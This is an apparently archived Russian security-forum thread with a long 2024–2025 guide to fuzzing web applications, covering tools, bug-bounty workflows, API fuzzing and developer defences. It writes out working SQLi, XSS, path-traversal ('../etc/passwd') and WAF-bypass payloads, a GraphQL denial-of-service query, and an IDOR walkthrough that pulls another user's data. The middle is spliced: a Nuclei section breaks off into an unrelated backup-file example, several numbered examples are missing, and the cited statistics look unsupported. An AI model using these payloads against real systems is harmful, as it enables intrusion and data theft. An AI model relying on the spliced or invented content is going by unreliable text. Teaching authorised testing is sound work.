PDA

Просмотр полной версии : Фаззинг веб-приложений: полное практическое руководство с лучшими инструментами 2025


kazinaq
23.06.2020, 14:02
Безумно интересная статья. Благодарю за труд!

Анар Агаев
24.06.2020, 21:55
Qurbit сказал(а):

Безумно интересная статья. Благодарю за труд!


Соглашусь,спасибо большое

KodakWhite
25.06.2020, 19:18
Крутая статья, видно автор старался, рахмет!

Дядюшка Рик
26.06.2020, 13:59
красава всё рассказал чо и как плюсую)

KiberAngel
28.06.2020, 20:49
Спасибо за старание и раскрытие темы фаззинга, понятным языком для новичка .

username27
29.06.2020, 03:13
Ох ты!)
Огромное спасибо, как раз интересовался темой веба. Рулез)))

brokip
17.11.2021, 12:21
Спасибо, все очень доступно и понятно изложено !!!

TheLast
07.12.2022, 19:51
Отличная и очень информативная статья! Автору спасибо!

WiIson
22.06.2024, 21:01
Представьте: вы только что нашли критическую SQL-инъекцию на сайте крупной компании через Bug Bounty программу. Награда? $5000. Метод обнаружения? Всего 3 минуты фаззинга с правильным инструментом.

В этом руководстве я покажу реальные техники фаззинга, которые использую в пентестах уже 8 лет. Вы узнаете про лучшие инструменты (Burp Suite, OWASP ZAP, ffuf), увидите практические примеры эксплуатации и получите готовые payloads для поиска уязвимостей.
Содержание

Что такое фаззинг и почему он критически важен (https://forum.antichat.xyz/threads/574012/)

Топ-7 инструментов для фаззинга в 2025 (https://forum.antichat.xyz/threads/574012/)

Практические примеры поиска уязвимостей (https://forum.antichat.xyz/threads/574012/)

Фаззинг в Bug Bounty: как заработать первые $1000 (https://forum.antichat.xyz/threads/574012/)

API фаззинг: REST, GraphQL, WebSocket (https://forum.antichat.xyz/threads/574012/)

Автоматизация фаззинга в CI/CD (https://forum.antichat.xyz/threads/574012/)

FAQ: частые вопросы о фаззинге (https://forum.antichat.xyz/threads/574012/)
Что такое фаззинг и почему он критически важен
Фаззинг (Fuzzing) — это автоматизированная техника тестирования безопасности, при которой на вход приложения подаются специально сформированные данные для поиска уязвимостей и ошибок.
Ключевые цели фаззинга:
Поиск критических уязвимостей:

SQL/NoSQL инъекции

XSS (Reflected, Stored, DOM-based)

XXE, SSRF, LFI/RFI

Command Injection

IDOR и логические ошибки
Статистика эффективности:
По данным OWASP 2023, фаззинг помогает обнаружить:

73% SQL инъекций

81% XSS уязвимостей

67% IDOR багов

89% ошибок валидации входных данных
Что можно фаззить в веб-приложениях:

КомпонентПримеры параметровЧастые находкиGET параметры?id=1&page=homeSQLi, XSS, LFIPOST данныеusername, passwordSQLi, Authentication bypassHeadersUser-Agent, RefererLog injection, CRLFCookiesPHPSESSID, auth_tokenSession fixation, Privilege escalationJSON/XML{"user_id": 123}XXE, NoSQL injectionFile uploadsfilename, content-typePath traversal, RCE

Полезные нагрузки (Payloads) для начала:

Код:



# Базовые payloads для обнаружения инъекций
' " ; -- /* */
alert(1)
../../../../../../etc/passwd
${7*7} {{7*7}}
# Специальные символы и байты
%00 %0d%0a %2522 %27 %3c%3e
[] {} () | & $ @ ! ~ `
# Boolean и числовые аномалии
True False null undefined NaN
-1 0 1 999999999999 0.0001


Топ-7 инструментов для фаззинга в 2025
1. Burp Suite Professional — золотой стандарт
Burp Suite остается лидером среди инструментов для веб-пентеста. Модуль Intruder идеально подходит для фаззинга.
Ключевые возможности:

4 типа атак (Sniper, Battering ram, Pitchfork, Cluster bomb)

Встроенные payload sets

Анализ результатов по длине/времени ответа

Интеграция с расширениями (Param Miner, Backslash Powered Scanner)
Пример использования Intruder для поиска скрытых параметров:

Перехватываем запрос в Proxy

Отправляем в Intruder (Ctrl+I)

Добавляем позицию: GET /?§param§=test

Загружаем словарь параметров

Анализируем изменения в длине ответа
Цена: $449/год (Community Edition бесплатная, но с ограничениями)
2. ffuf — самый быстрый fuzzer для командной строки
ffuf (Fuzz Faster U Fool) — написанный на Go инструмент, который в 10 раз быстрее традиционных fuzzer'ов.
Установка:

Bash:



go
install
github.com/ffuf/ffuf@latest
# или через apt
sudo
apt
install
ffuf


Примеры использования ffuf:

Bash:



# Фаззинг GET параметров
ffuf -w params.txt -u
"http://target.com/?FUZZ=test"
-fs
1234
# Поиск скрытых директорий с фильтрацией
ffuf -w dirs.txt -u
"http://target.com/FUZZ"
-fc
404,403
# Фаззинг POST данных
ffuf -w sqli.txt -X POST -d
"username=admin&password=FUZZ"
\
-u
"http://target.com/login"
-fr
"Invalid password"
# Многопоточный фаззинг с кастомными headers
ffuf -w payloads.txt -u
"http://target.com/"
\
-H
"X-Custom-Header: FUZZ"
-t
100
-rate
1000


Преимущества ffuf:

Скорость до 10000 запросов/сек

Гибкая фильтрация результатов

JSON output для автоматизации

Поддержка прокси и TLS
3. OWASP ZAP — бесплатная альтернатива Burp
OWASP ZAP (Zed Attack Proxy) — открытый инструмент с мощным fuzzer'ом и активным сообществом.
Особенности Fuzzer в ZAP:

GUI интерфейс для новичков

Встроенные fuzz файлы от FuzzDB

Автоматическое определение уязвимостей

Скриптинг на Python/JavaScript
Настройка фаззинга в ZAP:

Tools → Fuzzer

Выделяем параметр для фаззинга

Add → File Fuzzers → jbrofuzz/SQL Injection

Start Fuzzer

Анализируем State, Size, RTT колонки
4. wfuzz — швейцарский нож для фаззинга
wfuzz специализируется на веб-фаззинге с продвинутыми возможностями фильтрации.

Bash:



# Установка
pip
install
wfuzz
# Брутфорс subdomains
wfuzz -c -w subdomains.txt -H
"Host: FUZZ.target.com"
\
--hc
404
http://target.com
# Фаззинг с аутентификацией
wfuzz -c -w users.txt -w pass.txt
\
-d
"username=FUZZ&password=FUZ2Z"
\
http://target.com/login


5. Nuclei — template-based фаззинг
Nuclei от ProjectDiscovery использует YAML шаблоны для автоматизированного поиска уязвимостей.

Bash:



# Запуск с fuzzing templates
nuclei -t fuzzing/ -u http://target.com
# Создание custom fuzzing template
cat
>
sqli-fuzz.yaml

found_files.txt
echo
"test.php"
>>
found_files.txt
echo
"index.php"
>>
found_files.txt
# Ищем backup версии
gobuster
dir
-u http://example.kz
\
-w found_files.txt
\
-x bak,old,zip,gz,tar,rar,7z,backup,orig,copy
\
-t
30


https://forum.antichat.xyz/attachments/4885270/12.png

Найдены файлы:

test.php.gz

news.php.old

index.php.bak
Скачиваем и анализируем исходный код:

https://forum.antichat.xyz/attachments/4885270/13.png

Пример 6: IDOR через изменение идентификатора
В URL передается ИИН (идентификационный номер):

Код:



http://example.kz/user/123456789012


https://forum.antichat.xyz/attachments/4885270/14.png

Меняем на другой ИИН:

Код:



http://example.kz/user/987654321098


Получаем данные другого пользователя (IDOR подтвержден):

https://forum.antichat.xyz/attachments/4885270/15.png

Фаззинг в Bug Bounty: как заработать первые $1000
Стратегия эффективного фаззинга для Bug Bounty
1. Выбор целей с максимальным ROI:

Фокус на новых функциях (часто менее протестированы)

API endpoints (особенно GraphQL)

Административные панели

File upload функционал
2. Уникальные payloads для обхода WAF:

Bash:



# Обход фильтров SQLi
/*
!
50000UniOn*/ /*
!
50000SeLeCt*/
%55nion %53elect
UnIoN/**/AlL/**/SeLeCt
# XSS через encoding



3. Automation workflow для Bug Bounty:

Bash:



# Сбор endpoints
waybackurls target.com
|
grep
"?"
>
params.txt
# Массовый фаззинг
cat
params.txt
|
while
read
url
;
do
ffuf -w payloads.txt -u
"$url"
-mc
200,500
,400
\
-o results/
$(echo $url | base64)
.json
done
# Анализ результатов
grep
-r
"error\|exception\|sql\|mysql"
results/


Реальные кейсы и выплаты
Кейс #1: SQL Injection через User-Agent

Платформа: HackerOne

Выплата: $3,500

Payload:

User-Agent: ' OR 1=1--


Время обнаружения: 15 минут фаззинга headers
Кейс #2: XXE через file upload

Платформа: Bugcrowd

Выплата: $2,000

Метод: Фаззинг Content-Type с XML payloads

Инструмент: Burp Suite Intruder
Кейс #3: IDOR в API endpoint

Платформа: Synack

Выплата: $1,500

Метод: Фаззинг числовых ID с инкрементом

Инструмент: ffuf с range payload
Чек-лист для Bug Bounty фаззинга

Код:



## Pre-fuzzing разведка
- [ ] Собрать все endpoints через crawler
- [ ] Найти параметры через waybackurls
- [ ] Изучить JS файлы на скрытые API
- [ ] Проверить robots.txt и sitemap.xml
## Fuzzing targets
- [ ] GET/POST параметры
- [ ] HTTP Headers (особенно custom)
- [ ] Cookies и session tokens
- [ ] JSON/XML структуры
- [ ] GraphQL queries
- [ ] File upload (filename, content-type)
- [ ] WebSocket messages
## Payloads priority
- [ ] SQL injection variants
- [ ] XSS polyglots
- [ ] XXE patterns
- [ ] SSRF indicators
- [ ] Command injection
- [ ] Template injection
- [ ] CRLF injection


API фаззинг: REST, GraphQL, WebSocket
REST API фаззинг
Специфичные векторы для REST API:

Bash:



# Mass assignment
{
"role"
:
"admin"
,
"verified"
:
true
}
# JSON injection
{
"search"
:
"test\",\"isAdmin\":true,\"x\":\""
}
# Method override
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT


Автоматизация с ffuf:

Bash:



# Фаззинг REST endpoints
ffuf -w api-endpoints.txt
\
-u
"http://api.target.com/v1/FUZZ"
\
-H
"Authorization: Bearer token123"
\
-mc
200,201
,204
# Поиск версий API
ffuf -w numbers.txt
\
-u
"http://api.target.com/vFUZZ/users"
\
-fs
0


GraphQL фаззинг
Инструменты для GraphQL:

graphql-cop

InQL для Burp Suite

graphql-path-enum
Примеры запросов для фаззинга:

Код:



# Introspection query
{__schema{types{name,fields{name}}}}
# Обход rate limiting
query {
alias1: user(id: 1) { email }
alias2: user(id: 2) { email }
alias3: user(id: 3) { email }
}
# Nested queries DoS
query {
posts {
author {
posts {
author {
posts { title }
}
}
}
}
}


WebSocket фаззинг
Фаззинг WebSocket с помощью Python:

Python:



import
websocket
import
json
payloads
=
[
"'"
,
'"'
,
"';--"
,
"admin"
]
ws
=
websocket
.
WebSocket
(
)
ws
.
connect
(
"ws://target.com/socket"
)
for
payload
in
payloads
:
msg
=
json
.
dumps
(
{
"action"
:
"search"
,
"query"
:
payload
}
)
ws
.
send
(
msg
)
result
=
ws
.
recv
(
)
if
"error"
in
result
or
len
(
result
)
!=
baseline
:
print
(
f"Anomaly with payload:{payload}"
)


Автоматизация фаззинга в CI/CD
Интеграция в GitHub Actions

Код:



name: Security Fuzzing
on:
pull_request:
branches: [ main ]
jobs:
fuzz-testing:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run ffuf fuzzing
run: |
docker run -v $(pwd):/data \
ghcr.io/ffuf/ffuf:latest \
-w /data/wordlists/params.txt \
-u "http://staging.app/test?FUZZ=1" \
-mc 500,400 -o fuzz_results.json
- name: Check for vulnerabilities
run: |
if grep -q "error\|exception" fuzz_results.json; then
echo "Potential vulnerabilities found!"
exit 1
fi


Jenkins Pipeline для фаззинга

Код:



pipeline {
agent any
stages {
stage('Fuzzing') {
steps {
script {
sh '''
# Run Nuclei fuzzing templates
nuclei -t fuzzing/ -u $TARGET_URL \
-o nuclei_results.txt
# Check results
if [ -s nuclei_results.txt ]; then
echo "Vulnerabilities found!"
exit 1
fi
'''
}
}
}
}
post {
always {
archiveArtifacts artifacts: '*_results.txt'
}
}
}


Docker compose для фuzz лаборатории

Код:



version: '3.8'
services:
ffuf:
image: ghcr.io/ffuf/ffuf:latest
volumes:
- ./wordlists:/wordlists
- ./results:/results
command: >
-w /wordlists/all.txt
-u http://target:8080/FUZZ
-o /results/ffuf.json
zap:
image: owasp/zap2docker-stable
command: >
zap-baseline.py
-t http://target:8080
-J zap_report.json
target:
image: vulnerable-app:latest
ports:
- "8080:8080"


Защита от фаззинга: рекомендации для разработчиков
Основные методы защиты
1. Input Validation (валидация входных данных):

Python:



# Python пример с flask
from
flask
import
Flask
,
request
,
abort
import
re
app
=
Flask
(
__name__
)
def
validate_input
(
data
,
pattern
)
:
if
not
re
.
match
(
pattern
,
data
)
:
abort
(
400
,
"Invalid input format"
)
return
data
@app.route
(
'/user'
)
def
get_user
(
)
:
user_id
=
request
.
args
.
get
(
'id'
,
''
)
# Разрешаем только числовые ID
validated_id
=
validate_input
(
user_id
,
r'^\d{1,10}$'
)
# Дальнейшая обработка...


2. Rate Limiting:

Код:



# Nginx конфигурация
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
location /api/ {
limit_req zone=api burst=20 nodelay;
limit_req_status 429;
}


3. WAF правила:

Код:



# ModSecurity правила
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
msg:'SQL Injection Attack Detected',\
logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}'"


4. Security Headers:

Код:



X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'


Мониторинг и алертинг

Python:



# Пример логирования подозрительной активности
import
logging
from
datetime
import
datetime
,
timedelta
from
collections
import
defaultdict
class
FuzzingDetector
:
def
__init__
(
self
,
threshold
=
100
,
window
=
60
)
:
self
.
requests
=
defaultdict
(
list
)
self
.
threshold
=
threshold
self
.
window
=
window
def
check_request
(
self
,
ip
,
endpoint
)
:
now
=
datetime
.
now
(
)
self
.
requests
[
ip
]
.
append
(
now
)
# Очистка старых записей
cutoff
=
now
-
timedelta
(
seconds
=
self
.
window
)
self
.
requests
[
ip
]
=
[
t
for
t
in
self
.
requests
[
ip
]
if
t
>
cutoff
]
# Проверка порога
if
len
(
self
.
requests
[
ip
]
)
>
self
.
threshold
:
logging
.
warning
(
f"Possible fuzzing from{ip}on{endpoint}"
)
return
True
return
False


FAQ: частые вопросы о фаззинге
Что такое фаззинг простыми словами?
Фаззинг — это как проверка замка разными ключами подряд. Вы берете тысячи "неправильных" ключей (специальных символов и команд) и пробуете их во всех "замках" (полях ввода) сайта. Если какой-то "ключ" вызывает странное поведение или ошибку — вы нашли потенциальную уязвимость.
Какой fuzzer лучше для начинающих?
Для новичков рекомендую начать с OWASP ZAP — у него понятный графический интерфейс и встроенные обучающие материалы. После освоения базовых концепций переходите на ffuf для скорости или Burp Suite Community для комплексного тестирования.
Фаззинг vs сканирование уязвимостей: в чем разница?

АспектФаззингСканирование ПодходАктивное тестирование с payloadsПассивный анализ и signaturesГлубинаГлубокое тестирование конкретных точекШирокое покрытие всего приложенияFalse PositivesМеньше (проверяете вручную)Больше (автоматические отчеты)ВремяМожет занять часы на один параметрМинуты на все приложениеНавыкиТребует понимания уязвимостейМожет использовать новичок

Легально ли использовать фаззинг?
Фаззинг легален только при тестировании:

Собственных приложений

Систем с письменного разрешения владельца

Публичных Bug Bounty программ (в рамках scope)

Учебных полигонов (DVWA, WebGoat, HackTheBox)
Нелегально фаззить любые системы без разрешения — это может квалифицироваться как попытка взлома по статье 272 УК РФ.
Какие wordlists использовать для фаззинга?
Топ-5 коллекций wordlists:

SecLists — самая полная коллекция

FuzzDB — специализированные fuzzing payloads

PayloadsAllTheThings — актуальные payloads с примерами

ParamPamPam — параметры для parameter discovery

OneListForAll — объединенные wordlists
Как обойти WAF при фаззинге?
Техники обхода WAF:

Bash:



# 1. Rate limiting обход
ffuf -w payloads.txt -u URL -rate
2
-t
1
# 2. Ротация User-Agent
ffuf -w payloads.txt -u URL
\
-H
"User-Agent: Mozilla/5.0..."
\
-shuffle
# 3. Encoding payloads
# URL encode
%27%20%4F%52%20%31%3D%31%2D%2D
# Unicode
\
u0027
\
u0020
\
u004F
\
u0052
# HTML entities
&
#x27; OR
# 4. Case variations
UnIoN SeLeCt
uNiOn sElEcT
# 5. Comments injection
/*
!
UNION*/ /*
!
SELECT*/
UN/**/ION SE/**/LECT


Сколько можно заработать на фаззинге в Bug Bounty?
Статистика выплат за уязвимости, найденные фаззингом (2024):

SQL Injection: $500 - $10,000

XSS: $100 - $5,000

XXE: $300 - $8,000

SSRF: $500 - $15,000

RCE: $1,000 - $50,000
Средний заработок Bug Bounty хантера, активно использующего фаззинг: $2,000 - $5,000/месяц (при 20-30 часах в неделю).
Как ускорить фаззинг больших приложений?

Bash:



# 1. Используйте многопоточность
ffuf -w huge_list.txt -u URL -t
200
# 2. Распределенный фаззинг
# Разделите wordlist
split
-n
4
wordlist.txt part_
# Запустите параллельно
parallel -j
4
'ffuf -w part_{} -u URL'
::: aa ab ac ad
# 3. Smart filtering
ffuf -w list.txt -u URL
\
-fc
404,403
\
# Filter status codes
-fs
1234
\
# Filter size
-fr
"Not Found"
# Filter regex
# 4. Используйте быстрые DNS резолверы
echo
"nameserver 1.1.1.1"
>
/etc/resolv.conf


Заключение и следующие шаги
Фаззинг — это не просто технический навык, а искусство находить то, что пропустили другие. Начните с освоения одного инструмента (рекомендую ffuf или OWASP ZAP), практикуйтесь на легальных платформах и постепенно наращивайте сложность.
Ваш план действий на ближайшие 30 дней:
Неделя 1-2: Основы

Установите ffuf и OWASP ZAP

Пройдите PortSwigger Web Security Academy

Практикуйтесь на DVWA или WebGoat
Неделя 3: Практика

Зарегистрируйтесь на HackTheBox или TryHackMe

Решите 10 заданий с использованием фаззинга

Создайте свою коллекцию payloads
Неделя 4: Bug Bounty

Выберите программу на HackerOne/Bugcrowd

Начните с поиска low-hanging fruits

Документируйте находки и методологию
Полезные ресурсы для углубления знаний:
Обучение:

OWASP Testing Guide v4

The Bug Hunter's Methodology

Nahamsec's Bug Bounty Course
Инструменты:

Awesome Fuzzing

Bug Bounty Tools
Сообщества:

Bug Bounty Forum

Telegram: @bugbounty_ru

Discord: Bug Bounty Hunters
Есть вопросы по фаззингу или нужна помощь с конкретным кейсом? Пишите в комментарии или на GitHub проекта Fuzzer — отвечу и помогу разобраться!

Обновлено: Январь 2025 | Автор: WiIs0n | Время чтения: 25 минут